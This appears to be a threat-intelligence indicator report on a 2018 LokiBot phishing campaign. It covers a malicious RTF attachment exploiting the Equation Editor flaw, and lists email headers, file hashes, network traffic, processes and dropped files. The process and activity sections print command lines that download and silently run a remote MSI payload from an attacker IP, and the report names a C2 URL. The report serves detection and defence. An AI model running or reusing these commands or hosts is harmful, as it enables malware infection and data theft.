#lokibot_151118

#IOC #OptiData #VR #LokiBot #11882 #MSI

https://pastebin.com/cqZg7kwr

previous_contacts:
--------------
16/10/18	- https://pastebin.com/LPqjHUkQ
08/10/18	- https://pastebin.com/cZxQGbyq
01/10/18	- https://pastebin.com/AVWK3XsB

FAQ:
https://radetskiy.wordpress.com/2018/10/19/ioc_lokibot_161018/

attack_vector
--------------
email attach doc(RTF) > 11882 > EQNEDT32.EXE GET > msiexec.exe /i 34.244.180.39/oo.msi

email_headers
--------------
Received: from elayouty.com (unknown [84.16.232.203]) by mail1.victim.com with smtp
Received: from [::1] (port=48392 helo=server.sauditunnels.com)
	by server.sauditunnels.com with esmtpa (Exim 4.91)
	(envelope-from <[email protected]>)
Date: Thu, 15 Nov 2018 06:34:16 +0300
From: PURCHASE <[email protected]>
To: undisclosed-recipients:;
Subject: PURCHASE ORDER 25437
X-Sender: [email protected]
User-Agent: Roundcube Webmail/1.3.6

files
--------------
SHA-256	1a711629a0cc2ec3e9c14d9500ff7cab1114474c98eb0d9392e269f50aea8513
File name	DOC_ORDER25437.doc (!) RTF
File size	265.34 KB

SHA-256	917ef82d209a7293244706bbd625c3d055d152d6eb37c30e99b214d1a085e051
File name	oo.msi
File size	1.25 MB


Denis O'Brien @Malwageddon:
"If metadata doesn't lie, the RTF file was created back in Sep."

activity
**************

cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180{.} 39/oo.msi /quiet

PL_GET:		34.244.180.39/oo.msi

C2:		188.225.27.43
		h11p://sahakyanshn{.} com/baba1010/five/fre.php

netwrk
--------------
GET /oo.msi HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows Installer
Host: 34.244.180.39

188.225.27.43	sahakyanshn{.} com	POST /baba1010/five/fre.php	HTTP/1.0	Mozilla/4.08 (Charon; Inferno)

comp
--------------
msiexec.exe	440	TCP	34.244.180.39	80	SYN_SENT
MSIF29F.tmp	3348	TCP	188.225.27.43	80	ESTABLISHED
[System]	0	TCP	188.225.27.43	80	TIME_WAIT

proc
--------------
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
C:\Windows\SysWOW64\cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/oo.msi /quiet
C:\Windows\SysWOW64\msiexec.exe   /i http://34.244.180.39/oo.msi /quiet
C:\Windows\system32\msiexec.exe /V
"C:\Windows\Installer\MSIF29F.tmp"

persist
--------------
n/a

drop
--------------
C:\Windows\Installer\MSIF29F.tmp
C:\Users\operator\AppData\Roaming\39B01F\FA74A3.exe
C:\Users\operator\AppData\Roaming\39B01F\FA74A3.hdb

# # #
doc (RTF)	https://www.virustotal.com/#/file/1a711629a0cc2ec3e9c14d9500ff7cab1114474c98eb0d9392e269f50aea8513/details
			https://iris-h.services/#/pages/report/3dd0fe53b7f1ade6765df8da45b8b7c2ae6ed41b
msi		https://www.virustotal.com/#/file/917ef82d209a7293244706bbd625c3d055d152d6eb37c30e99b214d1a085e051/details
		https://analyze.intezer.com/#/analyses/3d6796ac-e098-4b61-aad7-3cc552dd2304